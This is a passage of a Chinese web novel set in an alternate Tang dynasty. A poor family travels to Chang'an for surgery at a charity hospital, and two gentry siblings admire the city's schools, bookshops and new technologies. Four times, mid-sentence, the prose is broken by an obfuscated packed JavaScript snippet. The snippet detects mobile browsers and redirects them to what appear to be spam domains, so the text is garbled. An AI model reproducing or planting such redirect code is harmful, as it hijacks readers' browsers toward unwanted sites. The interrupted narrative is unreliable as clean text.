“去向戴家道过谢了吗?”阿念母亲轻声问她,声音虚弱。 阿念忙点头:“已经谢过了,阿娘放心。” 她们家穷,就算是铁了心要给阿娘筹措医药费也拿不出这么多的钱来。穷家富路,要出趟门包括路费和住宿费还有吃用在内都是极大的一笔开销。好在,她们与本地豪族戴家是远房亲戚,虽是隔了很多层平时也不太走动,但戴夫人正巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606511|156064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要上长安来探亲,听得她们的遭遇后便慷慨承诺愿意带上她们。如此一来,路费便有了着落。 阿念对此感恩戴德,去道谢的时候自然也是诚心诚意,发自肺腑。 只是,要因此去交好戴四郎,甚至是与他做妾,阿念却也是不愿意的。她也不想要事事去麻烦戴家,于是趁机提出来等到了长安后便自己去找住处。 “咱们是去求医,自然也要住得离悲田院近一点。我猜这边肯定如洛阳一般,在悲田院旁边有许多价格便宜的住处,不如去寻访一下。” 阿念母亲与舅舅也都点头:“是这个道理,也不能事事依赖戴家。” 人家虽说带了许多仆人上京,带上他们不过轻而易举,但他们却也不能视其为理所当然。 于是,在经历了漫长的等待,终于靠岸进入到宏伟如梦之城的长安后,阿念一家便提出了离开。戴娘子挽留不成,又喜阿念一家为人朴实颇有骨气,便又塞给了她一些银钱财物给其傍身。 而月娘与阿念两个刚认识却极为投契的小娘子也是依依惜别。 戴月娘掀开车帘,对阿念道:“到时候我再去看你们!” 阿念连忙点头:“好,待我们安顿好,便捎信给你。” ...... 进入了长安城,来不及看这巍峨的城市景象,阿念便急匆匆想要去升道坊。 舅舅却摇头:“升道坊周边全是来求医的人,想必物价昂贵。我们还是先找个远一点的便宜住处安顿下来,待明日我与你再去悲田院看看到底是什么样的章程再说。” 阿念觉得舅舅的安排更周全,立刻答应下来。 阿念舅舅早年也跑过行商,一路问过去在城门不远处找到了一家看上去还颇为干净的大车店。自己花了五文钱住了个大通铺,又花了二十文给阿念和自家妹妹找了个小小的单独的房间。 阿念母亲小声道:“若是那升道坊周围也能有这样的价钱就好了。” 阿念也点头连连。二十文一个小单间着实算不上贵。 大车店的小二却是个耳朵尖的,笑道:“升道坊?那边可没咱们这儿这么便宜!就算是大通铺,那也要十五文一个晚上了,更别提是单独的屋子了,最便宜的条件最差的也得五六十文往上数。” 阿念和母亲对望一眼,充满了忧虑。 “住大通铺就好。”阿念毅然决定。 阿念母亲眼中泛起泪来:“你个未出阁的小娘子跟着娘住大通铺,这可真是......都是娘没用,这破身子拖累了你和你哥。” 她丈夫早逝,自己咬牙将两个子女抚养大,如今子女已经长大自己却生了重病,颇有些万念俱灰。若不是还想着阿念哥哥与阿念还没有成家,阿念母亲早就想要从河岸边一跃而下。 就如那些她曾经见过的那些穷困不堪又身患疾病的人。 阿念和舅舅连忙安慰她:“咱都到长安了,就别抱着这样的想法了。如今这么好的世道,治好了病,福气还在后头呢。” 纵然大车店的小二见惯了世间冷暖人情,看到他们一家互相安慰扶持的景象也不由得有些触动。 他脑子里忽然想起一件事,连忙道:“或许还有一个方法!” 5. 长安求医见闻记 阿念一家齐刷刷地看过去。 小二道:“我听闻前些时候悲田院出了个公告,说是会在升道坊内空出一排房屋,赁给外地前来求医的穷苦人家,收费比外面的要便宜很多。你们明日不妨去打探打探消息,或许能轮到呢。” 阿念听了后泛上喜悦之情:“多谢小二哥。” 阿念舅舅也感叹:“还是长安好啊。” 他们是庐陵人,庐陵也是有悲田院的,即使规模不大也经常有十里八乡的过来求医,如今庐陵悲田院旁边的一圈已经全被一些富贵人家给盘了下来,做各种生意,可没这样的好事。 小二听了后与有荣焉:“那是自然。长安可是天子脚下,但凡朝中诸公有了什么好主意,都会先在长安实施。而且,在咱们长安,只要你是有手有脚又不懒,肯定是能找得到活计的。虽然过不上大富大贵的日子,但养活自己可没什么问题。” 阿念舅舅心中一动。他想着要不等先把姐姐和外甥女安置下来后,自己也可以在长安城里找份事来做,也减轻一下负担。 阿念的眼神闪了闪。 三人安顿好,在大车店里过了一夜。虽然环境和“好”字扯不上任何关系,但一路行舟而来,旅途疲惫,阿念还是睡得很沉。 第二日,她与舅舅一起去了位于升道坊的悲田院。 据小二介绍,在如今这位陛下刚登基的时候,原本整个长安城城南这一片是很破败的,有很多坊内都没什么人了,屋子内长满了野草,荒凉得很。但自从悲田院开在升道坊之后,除了长安城和周围乡镇州县来求医的之外,还有许多和他们一样从更远的地方赶过来的,南城的人气逐渐变得兴旺。 而现在,周相公主持的长安书院和科学堂以及农学堂也都选在了城南,连带的还有许多的小学堂以及私塾类的跟着开在了周边。一些大儒和文士都聚集在此,还吸引得来许多学子从大唐各地来求学,带得城南俨然成为了一个文兴之地。 科学堂的存在还吸引了一大批工坊和工匠。 如今的城南,虽然还比不上北城的清贵和富豪,但也是热热闹闹的,一切都欣欣向荣,已经丝毫看不出之前战乱所留下来的痕迹了。 所以,阿念与舅舅一路走来,看到的是一片繁华,车水马龙的景象,而越靠近悲田院所在的升道坊,就越是人声鼎沸。 “别挤别挤。”里坊门口的小吏不耐烦地吼,“这里是出口,忒娘的给我去入口排队去!不是正门!正门也是你能走的?乖乖给老子去西侧门排队!” 阿念和舅舅晕晕乎乎,哪里见过这样的场面?他们只能跟着人流往前走。 “这些都是来看病的?”她生出敬畏之心。 旁边人笑道:“哪能啊?还有一些是来上工的,这里边光是杂役都有好几千呢!还有来陪同看病的家人,随从,来做小买卖的货郎,每天一大早都是这般场面,你们多来几次就习惯了。” 阿念舅舅好奇问:“那正门是给贵人们走的?怎的如此安静?” “真正来看病的贵人们都从另一头的门进出,这儿啊,就是给太医和医师们出入的。”那人道,“你现在来自然安静。医师们早在一个时辰前就要来点卯了。” 他顿了一下:“比鸡还早,可不容易。” 所以,太医寺的地位这些年在民众的心中简直如点了炮仗一般直接上升。他们做的事情,百姓都看在眼里。 “对了,您二位可需要帮忙?”那人又漾开了笑脸凑了上来,“这悲田院可大了,你们初来乍到的很容易就绕晕。不如雇我带你们去找医师?” 阿念和舅舅面面相觑:......还能这样? 不过,他们观察了一下四周,发现似乎这样的情况并不鲜见,很多人都花钱雇佣了这样的向导。两人商量了一下,觉得人生地不熟,该花的钱还是得花,于是和那人讲了讲价,最终以十文的价格雇佣他一个时辰。 舅舅咋舌:“一个时辰十文,这可也不便宜。” 被雇佣的王大郎叫屈:“平时给别人可都是十五文的,也就是看您二位面善。” 阿念舅舅做过行脚商,自然不信他的这一套说辞。事实上,他也没猜错,王大郎靠着在升道坊做陪诊——据说这是徐寺卿听说后给的称呼——可赚了不少。若是能幸运遇到出手大方的病患,那一天下来收入上百文也是可以的。 但王大郎也不会刻意去寻找那些富贵患者,在不那么缺钱的时候他还挺爱去帮助那些看上去有些窘迫的外地来求医的人,这也让他的口碑在这一片非常好。某种程度上来说,阿念一家遇到他也算是一种幸运。 在王大郎的帮助下,阿念和舅舅将悲田院的所有地方都走了遍,两人也都惊叹于长安悲田院之大——就连所谓的门诊楼都有七八栋,还分别属于不同的科室,除此之外还有急诊和药房等等。 阿念立刻庆幸自己还好请了人,不然恐怕要在里面转晕了。 “这条路通向的是手术区和住院区,闲人免进。”在一处有卫兵把守的路口,王大郎对二人道,“只有里面的医师和雇工还有被收入院的病患才能进去。尤其是手术区,规矩特别多,听说进去前还得要沐浴焚香,洗手都要洗八回!恐怕是整个大唐最干净的地方了!” 两人生出敬畏之心。 介绍完一些具体的情况后,王大郎问道:“你们要看什么病?我也能帮你们参谋参谋。” 阿念立刻将母亲的病症仔细描述了一下,对方沉吟了一下:“腹中长了肉瘤?那可以直接去挂基础外科。” 阿念懵懵的,听了王大郎的解释之后才知道原来在长安的悲田院,即便是外科也分了好几门,比如基础外科、骨外科、皮肤外科、胸外科等等。而若是不知道自己到底哪儿生了病或者是确定有问题的是腹部,那就直接挂基础外科就好。 “基础外科有一位唐医师,虽然刚升上医师但是医术却是极好的,而且还是位女子,她也是徐寺卿的关门弟子。”王大郎道,“我觉得倒是很符合你们的情况。有些有钱人家就喜欢去抢太医的号,其实按我说也没那个必要......” 王大郎带着他们来到了基础外科的门诊楼,但护士小娘子却道唐医师最近一旬的号都早已经挂满了。阿念的心情一下子就跌落下来,想也不想的噗通一声跪在了地上。 王大郎在旁边助力,说人家从庐陵一路赶过来也不容易,护士小娘子皱起眉,最后叹了口气说去问问唐医师,看她能不能给他们加个号。 待到护士走后,王大郎悄悄道:“一般来说加号纯粹看医师本人的心情。有的医师看完就走,绝不加号。有的医师心肠好,会额外多加几个号。” 那边,护士走到了唐医师的廨舍内,将情况告知于她。 唐医师看上去三十多岁,衣着简练素净。 她问道:“你是说对方从庐陵而来,且看上去颇为贫困?” 护士点点头:“若非如此,我早让他们出去乖乖排队等号了。而且,生病的还是那小娘子的母亲。” 唐医师轻叹:“那还真是不容易。” 从外地来长安求医的人她们看得多了,这种贫困人家,不说百分百,但十之八九得病的人都是家中的男人。想也知道,若是女人得了病,本地治治尚且还好,但若是要倾家荡产地上京来治病,是极少极少的。 所以,唐莲娘愿意给她们一个机会。 当阿念知道唐医师给她们加了一个三天后的号时,一时激动得又跪了下来,对着廨舍的方向磕了三个头。 接下来,他们又在王大郎的陪同下去申请了太医寺给外地医患提供的房子,悲田院的人称其为“廉租房”。要申请这个房子也是不容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14606512|156064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,需要路引也需要相关的就医凭证。只有悲田院认证过的需要手术住院治疗的才能申请,而且手术后也会再视情况令其搬出,对人数和床位也有控制,总之还是很严格的。 阿念给娘亲和自己申请了六人间,而舅舅打算就住在大车店的通铺。如此算下来,财务压力顿时减轻了不少。不过,谁也不知道后续治疗要花多少钱,所以两人也向王大郎打听了一下不知可不可以在周边找点活计来干。 王大郎是个热心肠,当即给他们出主意:“这能干的事情可就太多了!” 据他所说,仅仅就在这悲田院里,就经常有招工的。 “比方护工,照顾病人可不是轻省的活计,尤其是手术后的病患,得不眨眼睛的日夜盯着。一些还算是富裕的人家就会延请专门的护工来照顾,一天也有五六十文的进账,只不过这活儿算不上轻松。”王大郎笑了笑,有点骄傲的道,“我家那口子,就在悲田院里当护工。她心细,要请她可得事先预定呢!” “不过,护工都爱请女子,觉得女子心更细。” 阿念有些犹豫地摇了摇头:“恐怕我抽不出空来。” 她得要照顾母亲。 而阿念舅舅也觉得这活计不适合自己。他听王大郎介绍了一圈后,决定就在升道坊周围找点零工来干。给人搬搬行李,送送东西跑个腿,一天也能赚些铜板,而且还能熟悉这边的情况。 阿念则在王大郎的建议下打算去附近的羊毛工坊里找点活干。她的绣活和手工不错。 “那边都是按件计酬的,去那边领了毛线拿家里来织点袜子手套。我家闺女闲在家就是做这个事儿,若是绣活好,工钱更高。对了,你们知道羊毛袜吧?” 阿念忙道:“知道的,这几年时兴的新玩意儿。庐陵那边的贵人们也是爱穿这个的,可贵。” “是极是极,这羊毛的东西穿着的确暖和,就是贵了些。那些养羊的突厥人可赚得不少!说是很多部落现在都不养马了,全都转成了养羊。”王大郎笑道,“现在马上就要天冷了,那些个羊毛工坊里可缺人呢!不愁接不到活儿。” 阿念泛起愁容:“可是我不会......” “放心吧,工坊里会有师傅教你,不难!” 王大郎告诉他,一开始长安城中的羊毛工坊只有两三家。据说,这技术是周相公和将作监合作发明出来的,然后拍卖给了几家有背景的大商号,不过约定了十年的时间。十年后,契约到期,周相公和魏相公等力排众议,觉得应该惠及到更多的人。因此,这种技术便传播开来了,从此羊毛工坊如雨后春笋一样冒了出来,价格也低了下来,即便是平民也能咬咬牙置办上这么一件,为冬天增加些暖意。 现在羊毛工坊供不应求,急需人,因此对于技术也并不吝啬,一些基础的东西都是免费传授的。 “他们也不亏,就算是你学会了怎么织,不还得去他们那儿买毛线?自己去收羊毛来做那么一点线可不划算,因此,这是稳赚不赔的买卖。” 阿念和舅舅听得聚精会神,新世界的门被推开了一重又一重。 他们觉得今天这十文钱出得实在是划算极了。不仅成功地挂上了号而且还获得了不少长安城中的信息,还有了活计的着落。于是在付钱的时候,阿念又加了五文,算是感谢王大郎的热心肠。 虽然多出了钱,但心情却是极愉悦的。 “长安,果然是不一样啊!”回到大车店后,阿念对娘亲感叹,她的眼中闪着光,“阿娘,我有一种预感,你的病一定会好的!” 阿念母亲温柔地抚了抚她的头发:“好,阿娘信你!” 她决定也帮阿念一起做点袜子手套贴补家用,可不能让阿念自己一个人忙活。 就在阿念感叹长安城真不一样的时候,戴月娘和戴四郎也发出了如此感慨。 6. 长安求医见闻记 戴家在庐陵算得上是本地望族,家财殷实。戴月娘与戴四郎和大部分一辈子都不会出庐陵的人不同,他们经常随着长辈一起出门访友,如浔阳、豫章以及越州扬州等地也都是去过的。 他们的母亲是长安人,这次便是随她一起来外祖父母家探亲。 说起来,这是他们第一次来长安,也是第一次与自己母亲这边的亲戚见面。不过,年轻人相处起来总是很容易的,不出两日,兄妹俩便已经和自己的表兄弟姐妹们混熟了,也了解了外祖家的更多情况。 他们的外祖父原本不过是司农寺的主簿,称不上什么高官,这样的小官在长安城里一抓一大把。只不过,现在司农寺掌管天下农事,做出了不少轰轰烈烈的大事。 那位周相公用几种高产粮食让全天下的百姓将其奉为农圣,又是阔刀大斧的进行改革,不仅推行了巡田师傅的制度,而且将全天下的农事都统一规划,哪些地方适合发展什么作物如何耕作等等都由司农寺来给出指导意见。此外,还兴办了农学院,被士人们称为是复兴了诸子百家中的农家。 这些年来,虽然也遭遇到了一些自然灾害,但大唐的粮食产量却几乎是直线上升,原本建设的几个大仓都已经不够用了。不仅仅是朝廷,民间也同样仓廪殷实,即便是农人,手里也有了些余钱。这些可都是以前连想都不敢想的。 如此一来,司农寺从一个原本只掌管朝廷屯田的边缘部门一跃成为了朝中几个热门之地,即便是一些权贵子弟出仕也挺愿意选择司农寺。 于是,戴月娘的外祖父地位自然也水涨船高。而且她的一位舅舅这两年新开了一家造纸坊,生意颇丰,因此这两年家中生活十分优渥,不仅在长安城外置了田庄,在城内也换了更大的新屋。 “你们看,这就是舅舅新造出来的纸。”戴月娘的二舅舅十分得意的将纸张给大家看,“运用了新工艺,没有之前那么晕墨了,但是成本却还是一样的。” 他的亲儿子打趣自己父亲:“阿耶现在心心念念的都是钱,您以前可是最为鄙薄商人。” 月娘舅舅瞪了自己儿子一眼,然后挺起了胸膛:“你阿耶我做的事情可是造福于无数学子,可以名留青史的大好事!周相公都亲口褒扬过的。” 造纸以及印刷,那可都是正儿八经的雅事。 而且,现在商人的地位也有所上升,虽还是排在末位,但最起码限制少了许多,工与商的后代现在还可以考科举。再剥开来说,哪个大商家的背后没有世家和豪族的存在?在一些大家族中,家中不走仕途的子弟去管俗事本就是理所当然的潜规则。 戴月娘却看得很仔细,还和自己的几位表兄表姐一起拿了笔墨来试,发现的确还挺好用。虽然比不上她自己用的上好宣纸,但用来抄书却是很适合的。 “舅舅真是做下了一件大功德。”她衷心夸赞道。 月娘舅舅抚着须,谦虚了几句:“这造纸术也不是我发明出来的,倒是将作监这些年实打实地做了不少好事。” 造纸术和印刷术就如同羊毛纺织一样,在过了技术垄断期之后便传播开了。原本占有了技术的商家不得不推陈出新,让自己的工艺一直处于领先,而新涌进来的商家则抢占低端市场。 这样几年下来,大唐的造纸业和印刷业一片欣欣向荣。 据不可靠酒坊消息称,这件事还牵涉到了朝中的一次大争斗—— 造纸和印刷虽然利润巨大但这根本不是核心,但当它们把书本和纸张的价格给打了下来让普通人家出身的孩子也能接触到书本,事情就变得严重了起来。所谓“铁打的世家流水的皇室”,就是因为世家们垄断了知识,当人才都诞生于世家,那不管是谁登基上位都得要用他们当官才行。就这样一代一代下来,世家的地位才愈发的稳固以及高贵。 如今,这件事却涉及到了他们的核心利益,自然是要反对的。 更何况,陛下居然还打算普及教育以及推行科举!并且打算正儿八经地任命科举中考出来的学子,让他们拥有职权,这怎么能行?! 于是,一时之间,朝廷中腥风血雨。 支持的一方占据了大义,推行教化本来就是圣人之言,怎么,你有意见?反对的一方即便是拥有权势和威望,竟然也节节败退。再加上他们内部本来也不团结,还有人觉得自家文风历来兴盛,即便是子弟去科举也绝对是能占得优势的。因此,在十几个人被罢官,几大世家被迫迁出陇中之后,大势便已经成了。 朝廷在各州县设置了州学、县学等等公办教育体系,收费低廉。如果有考进了高级别公学的还能获得补贴,让普通百姓家里的孩子也能读书进学。虽然各种条件苛刻,但总归有了向上的途径。 这又进一步促进了整个大唐的读书风气,造纸坊和印刷坊还有书行的生意愈加的好了。 所以在月娘舅舅一咬牙拿出全部积蓄还抵押了房产开了造纸坊之后几年,他便获得了丰厚的回报。 “要我说,外甥和外甥女不如就留在长安,”月娘舅舅对自家妹妹说道,“如果要读书,长安虽不比庐陵清净,但其他各方面能获得的东西可要好多了。如今许多大儒和才子们都齐聚长安,且长安学院开了之后,学子们也愈发的多了。” 月娘外祖父也颔首点头,轻声道:“确实如此。且科举开后,我猜越往后陛下便会越倚重通过科举进仕之人,此为平衡之道。” 月娘母亲笑道:“我也正是有此考虑,只是家中长辈还有顾虑,所以我才想着先带两个孩子来长安看看情况。” “还有月娘,”月娘舅舅转向自己外甥女,越看越喜欢,“月娘不如也留在长安,若是能考进致真书院,那不管是在议亲还是自身前途,便也不用担心了。” 戴月娘的眼睛一亮。 致真书院! 虽然现在女子书院已经有了数所,但致真书院不一样,那可是在全大唐都赫赫有名的!她的名气不单单在于入读里面的许多都是贵女甚至还有公主,也不单单在于从致真书院毕业的小娘子都能找到很不错的亲事,而是这些年她们之中有好几位都成为了朝中吏员,虽然只是做了些文书工作但这也让许多出身优越的小娘子们燃起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14606513|156064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了热望。 戴月娘作为一个聪明的内心还藏着那么一点儿小野心的女孩子,自然也对致真书院充满了向往。 她的母亲有些犹豫:“致真书院可不是那么好进的......” 如今要进致真书院除非家世够硬,其他的都是要考试的,要非常非常优秀才行。 “去试试呗,外甥女如此聪颖,肯定没问题。” 戴月娘的母亲本还有些下不定决心,但住了几日后却改变了主意。 她与月娘逛了几天西市与东市,感触极深:“长安还是长安,这世上最新鲜的玩意儿,最杰出的人才都在长安。人往高处走,水往低处流,你还是要留在长安才好。” 她本来就是嫁出长安的,只不过现在的长安和她以往所记得的长安还是不一样的。 更广阔也更繁华,各种新鲜事物层出不穷。 比如眼镜和玻璃这些事物,庐陵虽然有,他们家里的书房用的就是玻璃窗户,那可是每每有亲朋好友来都会啧啧称赞一番的稀罕玩意儿。但在长安,就是东市的酒楼和商行里,大多数都用上了玻璃窗,明晃晃的,来往百姓根本不以为奇。还有眼镜,当时郎君为了配合适的眼镜等了最起码一年,但是在长安却是四五天时间就可以取到,非常的方便。 更别提现在夫人娘子们之间流行的那些好东西,什么香皂精油皂和花露等等已经是司空见惯的东西,现在流行的是各种胭脂口脂粉底之类的东西,被称为化妆品,十分好用。还有各种新鲜颜色的布料,就像是月娘母亲就很喜欢一个十分亮丽的绿色,听闻这个颜色是长安学院的化学博士和染坊一起研制出来的。 化学,又是个新奇玩意儿。 戴月娘和自己的兄长戴四郎关注的却不是一回事。 戴月娘看到的是长安城中抛头露面的女子似乎越来越多了,而且未婚的女子也很多。她们已经不再佩戴从头遮到脚的幂篱,最多是配个短短的垂纱到肩头的帷帽,有的甚至不加任何帽饰,坦然的将自己的面容露于人前。而路人的反应也说明了他们对此司空见惯,见怪不怪。 她心中感慨,相比较于自己的家乡庐陵,长安终究是开放包容许多。 月娘心细,甚至还注意到了自己脚下的路,不是沙路也不是土路,而是灰白色的路,踏上去硬硬的,十分平坦,而且几乎没有什么尘土。 她问了周围的货郎,那货郎笑道:“小娘子赶巧了,这路也是前两月才修好的,叫水泥路。听说也是长安学院和将作监一起倒腾出来的。现在整个朱雀大街都用了水泥路重新修过,再也不怕一下雨就全是泥泞了。” 以前的朱雀大街是沙土路,一下雨就十分不堪,无处下脚。泥泞严重的时候还有朝臣因此而请假不上朝,而且朝廷只能也对此默默表示理解。 现在,朝臣们请假的理由又少了一种,真是呜呼哀哉。 另外,她和戴四郎最喜欢的还是西市的书市街,一整条街竟然都是书店!而且并不是每一家都雷同的卖一些圣人言,它们的书种类十分多,可以说每一家都有自己的特色! 7. 长安求医见闻记 戴四郎悄声对月娘道:“庐陵书行里的卖的那些书,我都要看腻了。翻来覆去就是那几本,《论语》《大学》《尚书》......看看这里的书,多有趣!” 戴月娘也心有戚戚焉。 庐陵虽然也是文风兴盛之地,但前些年其实连正儿八经的书铺都没几家,只有一些士族家中才会有藏书。若是普通人想要看书,还得去士族家中求一求,但主人家允不允那就另说了。 她记得在自己大约七八岁的时候,庐陵城中的书铺才多了起来。 月娘踮起脚看着自己眼前的书架,这书架从地面一直到屋顶,上面摆满了满满当当的书,让她与戴四郎在内心不约而同发出了“哇”的一声——他们纯粹靠强大的意志力才没让自己惊讶出声。 而且书架分门别类,一层是“经史”,一层是“诗集文学”,还有一层是“算学”,一层是各类期刊杂志,还有一层放着各种不好分类的书籍,有农书还有医书等等。 而换一家店,甚至还能看到如今流行的各种话本子,什么才子佳人,狐妖道士,还有各种民间故事,比如之前悲田院抗疫的话本子,都是在茶楼酒坊还有百戏社中经常能听到看到的。月娘都不知道它们甚至还出了话本子! 她偷偷的买了几本。本以为一个娘子来买这样的话本子会被别人侧目,但周围人却一副司空见惯的模样,这让她逐渐放下心来。 再换一家店,甚至可以看到一些花样子的合集。 月娘有些惊讶,问掌柜:“这是什么?” 掌柜笑道:“这是刺绣的花样子,还有这几本,是棒针织法的图样。这些都是长安城的大绣庄和羊毛作坊出的,卖得很好哩,娘子们可喜欢了。” 月娘有些恍惚,现在连这种闺中手艺都可以拿来印书了吗? 她问掌柜,掌柜笑道:“有何不可?贵人都说了,娘子们也需要生活上的乐趣,且这些花样子最终还不是百姓受益?而且,小娘子你可别觉得绣庄和作坊会亏,他们这是在扬名呢。” 月娘看了看合集上偌大的XX绣庄与XX作坊字样,不禁失笑:“这真的是,真的是......” 真的是太好了! 戴四郎已经与书铺掌柜攀谈起来,听他在讲那刚建立不久的长安学院。 “那学院里可是卧虎藏龙呐!它和以往的书院都不同,与国子监也不同,里面不单单学经史,还学算学、科学,周相公说了,要效仿孔圣人,做到有教无类,不管是什么出身,只要是能考上长安书院,都可以去上,而且还免束脩!我和你们说,我曾去过里面一趟,那儿的图书馆所藏的书,嘿嘿,那才比咱们这儿可要全多了!” 戴四郎心生向往:“原本我在庐陵时还听得众多士人唾骂,说......” “说科学不过是工匠之学,将科学与算学等也纳入到学院之中是有辱斯文,愧对于圣人言,是否?”书铺掌柜笑眯眯道。 戴四郎点点头。 书铺掌柜呵呵一笑,有了点讲古的兴趣:“当时说要建综合性大学的时候,嗐,这个词还是我听来的,就是如长安学院这样不单单只是教授的学堂之意。当时,长安城里吵得更凶呢,就是国子监的几位博士都出声反对,差一点儿,这学院就建不起来了。” 月娘好奇问:“那后来又是如何建起来的?” “既然有反对的就会有支持的,反正那段时间请命的士人与学子们一波又一波,各种杂志和报纸上的辩论更是针锋相对,热闹极了。”掌柜眯起眼,“不过,具体内情如何却不是我们这等小人物能够知晓的了。只知道,一年半载后,长安学院终归是建起来了,而且科举的分科取士也越发的仔细了。” 戴四郎被掌柜描述的这段过往搞得热血沸腾。 这就是京都吗? 就连一个小人物似乎也能参与到这样的天下大事中去。 月娘插嘴道:“掌柜可留存有当时的报纸?” 她早就听说了报纸之名,据说是长安一家印坊先做出来的,原来是仿照学术杂志期刊的做法,收集一些街坊的逸闻趣事还接受投稿,一个月一次。后来这种形式大受欢迎,内容也包罗万象,越来越丰富,时间也变成了一周一次,被读书人们戏称为民间版的邸报。酒坊与茶楼里的一个固定节目就是由说书人为客人们读报纸。 这些报纸被行商们从长安带到各处,戴月娘也看过几份,觉得大为震撼,真是不出门而闻天下事。 趁着书铺掌柜去取报纸的时候,戴月娘与自己的兄长对望一眼,两个人都想起了舅舅让他们留在长安的话,燃起了强烈的热望。 留在长安,似乎真的挺好...... 几天后,戴月娘想起自己与阿念的约定,和母亲说了声,带上了侍女和礼物去悲田院看她。阿念来了信,说她们已经住院了而且排上了悲田院提供的廉租房。 那廉租房是四人间,阿念说原本想要申请六人间,不过她与舅舅目前都有了一些收入,所以便申请了四人间。 四人间她们还需要和其他人一起挤,而且房间窄小,还是显得昏暗局促。 月娘有些不解:“为何不直接申请两人间?想必也能休息得更好一些。” 阿念笑道:“这儿却是没有两人间的,我也问过,那管事说若是有了单间和两人间,恐怕就会有许多原本不是那么贫困的人也来申请,那就挤压了那些真正贫困之人的空间。” 月娘恍然大悟:“如此的确是更周全。” 她又知道这些福利一半来自于朝廷的拨款,一半却是来自于平阳昭公主以及徐寺卿等人成立的慈善堂的捐款,对其夸了又夸,打定主意也要给善堂也捐些钱。 月娘问阿念钱财可还够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14606514|156064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用,想要偷偷塞给她一些,但阿念去拒绝了。 她给月娘展示了自己从羊毛作坊里接的活计:“你放心吧,一天下来,也能赚个三四十文,覆盖每天的开销是够了的。就算是母亲手术后我要照顾她,那也没关系,我舅舅现在在附近的一家食肆当跑腿,每日也是有钱进账的。” 升道坊附近有许多食肆。悲田院和医学院的食堂虽然也不错,但毕竟清淡单调,很多人尤其是未患病的家属们还是很乐意在外面吃点不同的,尤其是现在炒菜盛行,油料也变便宜了,各种新鲜菜色层出不穷。不是所有人都有奴仆去取餐,阿念舅舅干的便是给这取餐送餐的活计,每日也有个几十文钱,若是遇到大方的还能拿到额外的赏钱。 “之前彭娘子对我说,我的绣活很不错,若是能专心做羊毛织物,一天怕是能赚不少。”阿念偷偷对月娘道,“她建议我等阿娘术后恢复了些,便出些钱请一位护工来照顾她,然后自己专心做绣活,这样算下来反而还能多赚一点。” 月娘是学过基础算学的,她问清了情况替阿念算了算,也点头道:“的确是如此。” 她很替阿念高兴,又觉得有些困惑:“如此看来,似乎反倒在长安还更好讨生活呢......” 怎会如此? 阿念也感叹,来长安之前各种惶恐和惊惧,不知道自己会陷入到一个什么样的境地,那儿一定什么都贵,自己带的钱不知道是不是够用,如果不够用该怎么办诸如此类。她从来没有想到,她们竟会在长安城中如此轻易的赚到钱。 这到底是为什么? 戴月娘毕竟还只是个十四岁的小娘子,一时半会儿想不通这个问题,不过她很快也将它抛诸了脑后,开始关注另一个问题:“那你阿娘后日就动手术对吗?是你说的那位唐医师给她做手术吗?” 阿念脸上露出笑容:“对,已定了后日上午。不过唐医师说手术可能很久,估计会一直到下午才能做完。而且即便是手术成功,阿娘也需在悲田院再住最起码七天,监控后续情形。” 月娘点头:“这听上去却是极靠谱的。” 阿念:“唐医师就是个很可靠的人,而且也非常的和气。” 她又忍不住和自己的好友嘀咕:“我和你说,悲田院中的女医师和护士多得出乎我的想象,几乎占了三分之一。她们一个个的,看上去和我往常见到的娘子们都有些不一样......” 阿念不知该如何表达这种不同,纠结了好一会儿。 戴月娘接口道:“是不是看上去更为神采飞扬?” “对,对!”阿念抚掌。 两人在讨论太医寺中的娘子们时,唐莲娘也找上了按惯例每旬来悲田院巡视的太医寺卿徐清麦。 她是来摇人求援兵的。 “老师,这场手术,我有些没有把握......” 8.长安求医见闻记 唐莲娘是徐清麦的关门弟子。 她也是关于当今陛下圣明传说之一中的主人公,也就是身后长了个尾巴然后被远亲当做异人而绑架走想要进献给达官贵人的那个小女孩。后来,徐清麦与周自衡解救了她,还给她成功做了手术。 唐莲娘那时候就向往成为和徐清麦一样的外科大夫。 